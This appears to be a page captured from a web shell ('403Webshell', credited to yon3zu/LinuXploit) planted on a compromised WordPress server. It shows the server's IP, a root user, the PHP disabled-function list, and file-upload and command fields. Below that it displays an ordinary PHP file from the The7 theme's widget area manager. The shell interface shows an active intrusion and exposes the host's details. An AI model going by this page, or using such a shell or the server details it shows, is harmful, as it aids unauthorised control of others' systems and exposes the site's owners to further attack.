403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.9/wp-content/themes/dt-the7/inc/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.9/wp-content/themes/dt-the7/inc/admin/class-the7-admin-wa-manager.php
<?php
/**
 * Widget area manager on `widgets.php`.
 *
 * @since   7.6.0
 * @package The7/Admin
 */

defined( 'ABSPATH' ) || exit;

/**
 * Class The7_Admin_WA_Manager
 */
class The7_Admin_WA_Manager {

	/**
	 * Save settings handler.
	 *
	 * @see admin-functions.php
	 */
	public static function save() {
		if ( ! check_admin_referer( 'the7_admin_wa_manager_save' ) || ! current_user_can( 'edit_theme_options' ) ) {
			wp_die( _x( 'Current user have no permission to edit widget areas.', 'admin', 'the7mk2' ) );
		}

		if ( isset( $_POST['the7'] ) ) {
			update_option( optionsframework_get_options_id(), $_POST['the7'] );
		}

		wp_safe_redirect( admin_url( 'widgets.php' ) );
		exit;
	}

	/**
	 * Display widget area manager.
	 *
	 * @see admin-functions.php
	 */
	public static function display() {
		?>
		<a class="page-title-action the7-toggle-wa-manager hidden" href="#"><?php echo esc_html_x( 'Manage widget areas', 'admin', 'the7mk2' ); ?></a>
		<div id="optionsframework" class="optionsframework postbox hidden" style="max-width: none; margin-top: 20px;">
			<form method="post" action="<?php echo admin_url( 'admin-post.php' ); ?>">
				<input type="hidden" name="action" value="the7_admin_wa_manager_save">
				<input type="hidden" name="page" value="of-widgetareas-menu">
				<?php wp_nonce_field( 'the7_admin_wa_manager_save' ); ?>
				<div class="of-title">
					<h2><?php echo esc_html_x( 'Manage widget areas', 'admin', 'the7mk2' ); ?></h2>
				</div>
				<?php
				$options      = optionsframework_get_page_options( 'of-widgetareas-menu' );
				$of_interface = new The7_Options( array( $options['widgetareas'] ) );
				$of_interface->render_options_html( 'the7', array( 'widgetareas' => of_get_option( 'widgetareas' ) ) );
				?>
				<div class="section">
					<div class="option">
						<button type="submit" class="button button-primary" name="save"><?php echo esc_html_x( 'Save', 'admin', 'the7mk2' ); ?></button>
						<div class="clear"></div>
					</div>
				</div>
			</form>
		</div>

		<?php
	}

	/**
	 * Enqueue assets.
	 *
	 * @see admin-functions.php
	 */
	public static function enqueue_assets() {
		optionsframework_load_styles();
		optionsframework_load_scripts();
		of_localize_scripts();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit